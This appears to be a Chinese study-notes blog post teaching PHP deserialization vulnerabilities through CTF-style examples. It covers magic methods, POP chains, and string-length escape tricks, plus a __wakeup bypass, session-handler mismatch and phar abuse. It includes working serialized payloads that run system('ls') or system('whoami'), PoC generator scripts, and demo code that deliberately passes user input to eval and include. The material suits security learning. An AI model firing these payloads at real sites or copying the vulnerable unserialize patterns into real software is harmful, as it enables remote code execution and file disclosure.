反序列化
反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)存在用户可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性
例子:
<?php
class test{
public $a='echo "this is test";';//用户传入参
public function dispalyVar(){
eval($this->a);//系统执行
}
}
$get=$_GET["code"];//get方法读入
$b=unserialize($get);
$b->displayVar();
?>
payload
"O:4:"test":1:{s:1:"a";s:13:"system("id");";}"
O-Object
4-类名字长度
test-类
1-成员属性数量
{}-成员属性
s-字符串
a-变量
system("id");-变量的值
魔术方法
1 __construct(),类的构建函数
2 __destruct(),类的析构函数
3 __call(),在对象中调用一个不可以访问方法时调用
4 __callStatic(),用静态方式中调用一个不可以访问方法时调用
5 __get(),获得一个类的成员变量时调用
6 __isset(),当对不可访问属性调用isset()或empty()时调用
7 __set(),设置一个类的成员变量时调用
8 __unset(),当对不可访问属性调用unset0)时被调用
9 __sleep(),执行serialize()时,先会调用这个函数
10 __wakeup(),执行unserialize()时,先会调用这个函数
11 __toString(),类被当成字符串时的回应方法
12 __invoke(),调用函数的方式调用一个对象时的回应方法
13 __set_state(),调用var_export()导出类时,此静态方法被调用
14 __clone(),当对象复制完成时调用
15 __autoload(),尝试加载未定义的类
16 __debugInfo(),打印所需调试信息
__construct()
构造函数,实例化一个对象的时候,首先会去自动执行的一个方法;
<?php
class user{
public $username;
public function __construct($username){
$this->username=$username;
echo "触发了构造函数一次";
}
}
$test=new user("test");
$ser=serialize($test);
unserialize($ser);
?>
__destruct()
析构函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法
<?php
class user{
public function __destruct()
{
echo "once";
}
}
$test=new user("test");//会触发一次(实例化对象结束后,代码运行完会销毁,触发析构函数)
$ser=serialize($test);//不会触发(在序列化过程中不会触发)
unserialize($ser);//还会触发一次(反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数)
?>
题目
<?php
class user{
var $cmd="echo 'thisIsTest'";
public function __destruct()
{
eval($this->cmd);
}
}
$ser=$_GET["test"];
unserialize($ser);
payload
O:4:"user":1:{s:3:"cmd";s:12:"system("ls")";}
__sleep
序列化serialize() 函数会检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。
触发时机:序列化serialize() 之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性
返回值: 需要被序列化存储的成员属性
例子
<?php
class user{
public $username;
public $nickname;
public $password;
public function __construct($username,$nickname,$password)//new时触发
{
$this->username=$username;
$this->nickname=$nickname;
$this->password=$password;
}
public function __sleep()//序列化时触发
{
return array('username','nickname');
}
}
$user=new user('$cmd','b','c');
var_dump($user);
echo serialize($user);
?>
输出
object(user)#1 (3) {
["username"]=>
string(4) "$cmd"
["nickname"]=>
string(1) "b"
["password"]=>//__sleep()还没被触发
string(1) "c"
}
O:4:"user":2:{s:8:"username";s:4:"$cmd";s:8:"nickname";s:1:"b";}
__wakeup()
unserialize() 会检查是否存在一个__ wakeup()方法。
如果存在,则会先调用wakeup() 方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
//人话:和sleep反着来的功能
触发时机: 反序列化unserialize() 之前
__wakeup()
在反序列化unserialize() 之前
__destruct()
在反序列化unserialize() 之后
<?php
class user{
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup()
{
$this->password=$this->username;
}
}
$user_ser='O:4:"user":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
输出
object(user)#1 (4) {
["username"]=>
string(1) "a"
["nickname"]=>
string(1) "b"
["password":"user":private]=>//反序列化后自动调用__wakeup()
string(1) "a"
["order":"user":private]=>
NULL
}
__tostring
表达方式错误导致魔术方法触发
触发时间:把对象被当成字符串调用
<?php
class user{
var $a="this is test";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test=new user();
print_r($test);
echo "\n";
echo $test;//对象当作字符串输出(触发)时,tostring函数自动被调用
?>
输出
user Object
(
[a] => this is test
)
格式不对,输出不了!
__invoke()
格式表达错误导致魔方方法触发
触发时机:把对象当成函数调用
<?php
function isFunction(){
echo "this is a function!";
}
class user{
var $a="this is a test";
public function __invoke()
{
echo "is not a function!";
}
}
isFunction();
echo "\n";
$test=new user();
$test();//把一个对象当成函数使用时
?>
输出
this is a function!
is not a function!
__call()
触发时机:调用一个不存在的方法
参数:两个参数传参
返回值:调用的不存在的方法的名称和参数
<?php
class user{
public function __call($name, $arguments)
{
echo "$name,$arguments";
}
}
$test=new user();
$test->calldf('a');//调用了一个不存在的方法
输出
calldf,Array//返回值$name--调用的不存在的方法的名称,$argumens调用的不存在的方法的参数
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
<?php
class user{
public function __callStatic($name, $arguments)
{
echo "$name,$arguments[0]";
}
}
$test=new user();
$test::calldf("a");//静态调用::时的方法calldf不存在,触发callStatic()
输出
calldf,a
__get()
触发时机:调用的成员属性不存在
参数:传参$name
返回值:不存在的成员属性的名称
<?php
class user{
public $var1;
public function __get($name)
{
echo $name; // TODO: Implement __get() method.
}
}
$test=new user();
$test->var2;//var2不存在于该方法
输出
var2
__set()
触发时机:给不存在的成员属性赋值
参数:传参$name,$value
返回值:不存在的成员属性的名称和赋的值
<?php
class user{
public $var1;
public function __set($name, $value)
{
echo $name.','.$value;
}
}
$test=new user();
$test->var2=1;//给不存在的成员属性赋值
输出
var2,1
__isset()
函数使用场景:
isset() 函数用于检测变量是否已设置并且非 NULL。
*如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。
*若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
触发时机: 对不可访问属性使用 isset() 或empty() 时,isset() 会被调用。
参数: 传参$name
返回值: 不存在的成员属性的名称
<?php
class user{
private $var;
public function __isset($name)
{
echo $name;
}
}
$test=new user();
isset($test->var);//这里的var不可读所以返回值是var.如果是var1那么成员属性不存在,返回值是var1
//人话:isset()调用的成员属性不可访问或不存在,则返回调用的属性名称
输出
var
__unset()
函数使用场景:
用于销毁给定的变量
触发时机:对不可访问属性使用 unset() 时
参数:传参Sarg1
返回值:不存在的成员属性的名称
<?php
class user{
private $var;
public function __unset($name)
{
echo $name;
}
}
$test=new user();
unset($test->var);
输出
var
__clone()
触发时机: 当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
<?php
class user{
private $var;
public function __clone()
{
echo "__clone here";
}
}
$test=new user();
$newUser=clone($test);//克隆对象完成后,会出触发魔术方法__clone
输出
__clone here
魔术方法触发总结
触发时机 | |
---|---|
__construct() | 实例化对象 |
__destruct() | 对象引用完成或对象被销毁;反序列化之后 |
__sleep | 序列化serialize()之前 |
__wakeup() | 反序列化unserialize()之前 |
__tostring | 把对象被当成字符串调用(或者echo或print) |
__invoke() | 把对象当成函数调用 |
__call() | 调用一个不存在的方法 |
__callStatic() | 静态调用不存在的方法 |
__get() | 调用的成员属性不存在 |
__set() | 给不存在的成员属性赋值 |
__isset() | 对不可访问属性使用isset()或empty() |
__unset() | 对不可访问属性使用unset() |
__clone() | 当使用clone关键字拷贝完成一个对象 |
POP链、POC编写
pop链:利用魔术方法在程序内部多次跳转,从而达到获取敏感信息的一种payload
poc编写:编写一段不完整的程序,获取所需要的序列化字符串
例题一
<?php
class index{
private $test;
public function __construct()
{
$this->test=new normal();
}
public function __destruct()
{
$this->test->action;
}
}
class normal{
public function action(){
echo "please attack me";
}
}
class evil{
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
解题:
- 首先代码审计,看到有可以利用的函数
eval
,eval()
调用$test2
,它们都是evil
这个类里面的。 - 然后可以看到结尾是用到
unserialize
,他是不会触发__construc
t函数的,但是会触发__destruct
函数。 - 在
__destruct
里,是调用$test
的action()
.那么就代表着$test
要等于类evil
,即$test=new evil()
构造payload:
<?php
class index{
private $test;
public function __construct()
{
$this->test=new evil();
}
// public function __destruct()
// {
// $this->test->action;
// }
}
//class normal{
// public function action(){
// echo "please attack me";
// }
//}
class evil{
var $test2="system('ls');";
// public function action(){
// eval($this->test2);
// }
}
$a=new index();
echo serialize($a)."\n";
echo urlencode(serialize($a));
输出
O:5:"index":1:{s:11:" index test";O:4:"evil":1:{s:5:"test2";s:13:"system('ls');";}}
//indetest之间因为private属性,要加上%00
//即
//O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system('ls');";}}
O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D
例题二
//目标:显示‘tostring is here’
<?php
class fast{
public $source;
public function __wakeup()
{
echo "wakeup is here";
echo $this->source;
}
}
class sec{
var $test;
public function __toString()
{
echo "tostring is here";
}
}
unserialize($test);
构建倒推过程:
- 首先
__tostring()
被触发 类sec
被实例化成对象后被当作字符串输出- 而在
echo $this->source;
中存在输出方法 $source=object sec
//此处的代码是构建payload方法,注释都是触发魔术方法的过程
<?php
class fast{
public $source;
public function __wakeup()//2.反序列化触发wakeup
{
echo "wakeup is here";
echo $this->source;//3.source是一个实例化的对象sec
}
}
class sec{
var $test;
public function __toString()//4.实例化对象被当作字符串输出触发了tostring
{
echo "tostring is here";//5.成功输出"tostring is here"
}
}
$a=new fast();
$b=new sec();
$a->source=$b;
echo serialize($a);//1.输出的结果首先经过反序列化
payload
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:4:"test";N;}}
例题三
//注释顺序为倒推过程
<?php
class modifier{
private $var;
public function append($value){
include($value);
echo $flag;//1.目标是要拿到flag,使$value=flag.php
}
public function __invoke()//2.触发invok(把对象当函数使用时触发),调用append
{
$this->append($this->var);
}
}
class show{
public $source;
public $str;
public function __toString()//7.触发tostring(把对象当作字符串输出)
{
return $this->str->source;//6.这里比较明显可以给5铺路。给$str赋值为对象test,而test中不存在成员属性source,就可以触发test里的get方法
}
public function __wakeup()//9.触发wakeup(反序列化时触发)
{
echo $this->source;//8.当source赋值对象show(类本身),则会触发对象show中的tostring
}
}
class test{
public $p;
public function __construct()
{
$this->p=array();
}
public function __get($key)//5.触发get(调用不存在的成员属性)
{
$function=$this->p;//4.p赋值需要是个对象,即function等于对象modifier
return $function();//3.当function是对象时可以作为触发invok的条件
}
}
if(isset($_GET['p op'])){
unserialize($_GET['pop']);
}
注意的点:
实例化对象时__construct()
会被触发,使p的值指向了一个数组。编写POC时要删掉。
编写poc
<?php
class modifier{
private $var='flag.php';
public function append($value){
include($value);
echo' $flag';
}
public function __invoke()
{
$this->append($this->var);
}
}
class show{
public $source;
public $str;
public function __toString()
{
return $this->str->source;
}
public function __wakeup()
{
echo $this->source;
}
}
class test{
public $p;
public function __get($key)
{
$function=$this->p;
return $function();
}
}
//按照之前代码审计的顺序编写
$mod=new modifier();
$show=new show();
$test=new test();
$test->p=$mod;
$show->str=$test;
$show->source=$show;
echo serialize($show);
payload
O:4:"show":2:{s:6:"source";r:1;s:3:"str";O:4:"test":1:{s:1:"p";O:8:"modifier":1:{s:13:"%00modifier%00var";s:8:"flag.php";}}}
字符逃逸
前记
1)反序列化一般来说是以;}
结束,但是要注意它是否在字符串当中
比如:
O:4:"test":1:{s:1:"a";s:13:"system("id");";}
当中;}
是用来结尾的
但是:
O:4:"test":1:{s:1:"a";s:14:"system("id");}";}
当中前面的;}
是在字符串当中的,重点是要看序列化字符串数字是多少
2)"
是字符还是格式符号,是由字符串长度来判断的
比如:
O:4:"test":1:{s:1:"a";s:13:"system("id");";}
这里包裹着id
的"
是字符,不是格式符号,要靠13
来判断
逃逸
数据先经过了一次serialize再经过unserialize,这个过程的中间,反序列化的字符串可能变多了,或者变少了(被过滤掉->变少、被替换掉->变多/少)。这时候可以通过构造特定语句来执行敏感命令
一些特点
<?php
class test{
var $v1="a";
var $v2="test2";
}
echo serialize(new test())."\n";
$a='O:4:"test":2:{s:2:"v1";s:5:"test1";s:2:"v3";s:5:"test3";}';
var_dump(unserialize($a));
输出
O:4:"test":2:{s:2:"v1";s:1:"a";s:2:"v2";s:5:"test2";}
object(test)#1 (3) {
["v1"]=>
string(5) "test1"
["v2"]=>
string(5) "test2"
["v3"]=>
string(5) "test3"
}
可以注意到var_dump出来的反序列化值里:
- 首先是反序列化的成员变量的值,是序列化字符串$a里面的值优先。
- 若序列化字符串没有提及原来类中的变量,那么反序列化中会引用原来类中的成员变量(如v2)
- 如果序列化字符串包含了原来类中没有的变量,那么反序列化中会加入该变量(如v3)
字符减少
原式:
<?php
class test{
public $v1='abc';
public $v2='123';
public function __construct($arga,$argc)
{
$this->v1=$arga;
$this->v2=$argc;
}
}
$a='abcsystem()system()system()';//我们想要构造的
$b='123';
$data=serialize(new test($a,$b));
echo $data."\n";
$data=str_replace("system()","",$data);//但是被过滤了
var_dump(unserialize($data));
/*
输出结果:
O:4:"test":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";}
bool(false)//因为这里的system()全部被过滤了,27将会把后面的一并吃掉来补全27个字符,导致反序列化不成功
*/
字符减少的利用
<?php
class test{
public $v1='abc';
public $v2='123';
public function __construct($arga,$argc)
{
$this->v1=$arga;
$this->v2=$argc;
}
}
$a='abcsystem()system()system()';
$b='123';
$data= 'O:4:"test":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";666";s:2:"v3";s:13:"system("ls");";}'
//通过数数可以知道若system()全被过滤,那么加上abc,还要吃掉24个字符。这里发现把v2的东西全吃掉的情况下,还差3个字符,那么就补一点没用的东西来占位置,凑过27个字符。然后我们可以构建第三个变量传值来做到一些敏感命令,又或者程序是需要通过v2来实现执行命令类函数时,我们可以用一样的想法对v1做手脚,影响v2.
$data=str_replace("system()","",$data);
var_dump(unserialize($data));
输出结果
object(test)#1 (3) {
["v1"]=>
string(27) "abc";s:2:"v2";s:3:"123";666"
["v2"]=>
string(3) "123"
["v3"]=>
string(13) "system("ls");"
}
字符增加
<?php
class test{
public $v1='abc';
public $v2='123';
public function __construct($arga,$argc)
{
$this->v1=$arga;
$this->v2=$argc;
}
}
$a='hackBy_ls';
$b='123';
$data=serialize(new test($a,$b));
echo $data."\n";
$data=str_replace("ls","nohacker",$data);
var_dump(unserialize($data));
/*输出结果:
O:4:"test":2:{s:2:"v1";s:9:"hackBy_ls";s:2:"v2";s:3:"123";}
O:4:"test":2:{s:2:"v1";s:9:"hackBy_nohacker";s:2:"v2";s:3:"123";}
bool(false)//字符长度增加导致的反序列化失败
*/
字符增加的利用
<?php
class test{
public $v1='abc';
public $v2='123';
public function __construct($arga,$argc)
{
$this->v1=$arga;
$this->v2=$argc;
}
}
$data= 'O:4:"test":2:{s:2:"v1";s:48:"lslslslslsls";s:2:"v2";s:16:"system("whoami")";}";s:2:"v3";s:3:"123";}';
//我们可以得知字符替换后长度会增加6,那么我们可以做一些敏感命令藏在语句当中。比如";s:2:"v2";s:16:"system("whoami")";}这一段(技巧:藏匿命令长度为增加长度的倍数,比如这里是6的6倍)
$data=str_replace("ls","nohacker",$data);//2->8 eat 6
var_dump(unserialize($data));
输出结果
object(test)#1 (2) {
["v1"]=>
string(48) "nohackernohackernohackernohackernohackernohacker"
["v2"]=>
string(16) "system("whoami")"
}
例题
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
}
}
$param=$_GET['test'];//传值?test='123'
$param=serialize(new test($param));//new会触发construct使user为空值
echo $param."\n";
$profile=unserialize(filter($param));
var_dump( $profile);
if($profile->pass=='escaping'){
echo "win";//目标要求输出win
}
/*输出结果
O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"daydream";}
object(test)#1 (2) {
["user"]=>
NULL
["pass"]=>
string(8) "daydream"
}
*/
解题
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
}
}
$param='O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
//";s:4:"pass";s:8:"escaping";}占29个字符那么就通过29个php来挤掉它
//$param=serialize(new test($param));
//要注释掉new,来让user可控来影响后面
//echo $param."\n";
$profile=unserialize(filter($param));
var_dump( $profile);
if($profile->pass=='escaping'){
echo "win";
}
输出结果
object(test)#1 (2) {
["user"]=>
string(116) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack"
["pass"]=>
string(8) "escaping"
}
win
wakeup绕过
PHP5<5.6.25
PHP7<7.0.10
漏洞产生原因:
如果存在__wakeup方法,调用unserilize()方法前则先调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真是的属性个数时,会跳过wakeup的执行
"O:4:"test":1:{s:1:"a";s:13:"system("id");";}"
"O:4:"test":2:{s:1:"a";s:13:"system("id");";}"
<?php
class secret{
var $file='index.php';
public function __construct()
{
$this->file=$file;
}
function __destruct()
{
include_once ($this->file);
echo $flag;
}
function __wakeup()//反序列化是一定会进行的,但是wakeup需要被绕过
{
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if(!isset($cmd)){
highlight_file(__FILE__);
}
else{
if(preg_match('/[oc]:\d+:/i',$cmd)){//o或c:加数字,大小写不限(通过+号可以绕过)
echo 'hacker!';
}
else{
unserialize($cmd);
}
//sercet in flag.php
}
构造poc
<?php
class secret{
var $file='flag.php';
}
echo serialize(new secret());
/*输出结果
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
*/
//最终payload
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
//最后 最好用url编码后提交
引用绕过
<?php
class user{
var $enter;
var $secret;
}
if(isset($_GET['pass'])){//传值给pass
$pass=$_GET['pass'];
$pass=str_replace('*','\*',$pass);//转译掉带*的字符
}
$o=unserialize($pass);
if($o){
$o->secret="*";
if($o->secret===$o->enter)
echo "flag is here".$flag;
else
echo "no way";
}
else
echo"is null";
构造poc
<?php
class user{
var $enter;
var $secret;
}
$a=new user();
$a->enter=&$a->secret;
echo serialize($a);
/*输出结果
O:4:"user":2:{s:5:"enter";N;s:6:"secret";R:2;}
*/
session反序列化
当session start()被调用或者php.ini中session.auto start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录 (默认为/tmp)
存取数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致
处理器 | 对应的存储格式 |
---|---|
php | 键名+竖线+经过serialize()函数序列化处理的值 |
php_serialize(php>=5.5.4) | 经过serialize()函数序列化处理的数组 |
php_binary//基本不用 | 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值 |
php格式
<?php
session_start();
$_SESSION['user']=$_GET['test'];
?test=abcd//url传入
user|s:4:"abcd";
//键名|序列化后的值
php_serialize
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['user']=$_GET['test'];
$_SESSION['b']=$_GET['b'];
?test=system&b=666//url传入
a:2{s:4:"test";s:6:"system";s:1:"b";s:3:"666";}
//就是serialize()序列化后的格式存储
php_binary
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['user']=$_GET['test'];
$_SESSION['b']=$_GET['b'];
?test=system&b=666//url传入
EOTtests:6:"system";SOHbs:3:"666";//EOT->4 SOH->1
//键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值
phar反序列化漏洞
触发条件
- 调用phar协议解析文件时,会自动触发对传入文件的manifest字段(特定段的字符)的序列化字符串进行反序列化
- phar需要php>=5.2在php.ini中将phar.readonly设为off
能利用到的函数
fileatime | filectime | file_exists | file_get_contents |
---|---|---|---|
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
Phar使用条件
- phar文件能上传
- 要有可用反序列化魔术方法
- 要有文件操作函数
- 文件操作函数参数可控、且
:
/
phar
等特殊字符没有被过滤
例子
例题一(具体不明白,但是套模板也不是不能做T_T)
<?php
class testObject{//反序列化testObject()触发__destruck执行echo $flag
public function __destruct()
{
include ('flag.php');
echo $flag;//目标:echo $flag
}
}
$filename=$_POST['file'];
if(isset($filename)){
echo md5_file($filename);
}
//upload,php
//↑提示有upload页面可以上传文件
- phar文件能上传到服务器端 -> /upload.php页面
- 要有可用反序列化魔术方法作为跳板-> __destruct()
- 要有文件操作函数-> md5_file
- 文件操作函数参数可控-> $_POST['file']
生成一个phar文件,在mate-data里放置一个包含testObject()的序列化字符
<?php
//phar文件生成
class testObject{//更改
}
@unlink('test.phar');//删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');//创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();//开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');//写入stub
$o=new testObject();//更改
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");//添加要压缩的文件
$phar->stopBuffering();
?>
//要在php.ini调东西才会生成文件
payload
URL.......
POST:
file=phar://upload/test.jpg
笔记来源自0x023 phar 反序列化例题讲解_哔哩哔哩_bilibili
标签:__,function,调用,system,test,序列化 From: https://www.cnblogs.com/ethereal258/p/17806131.html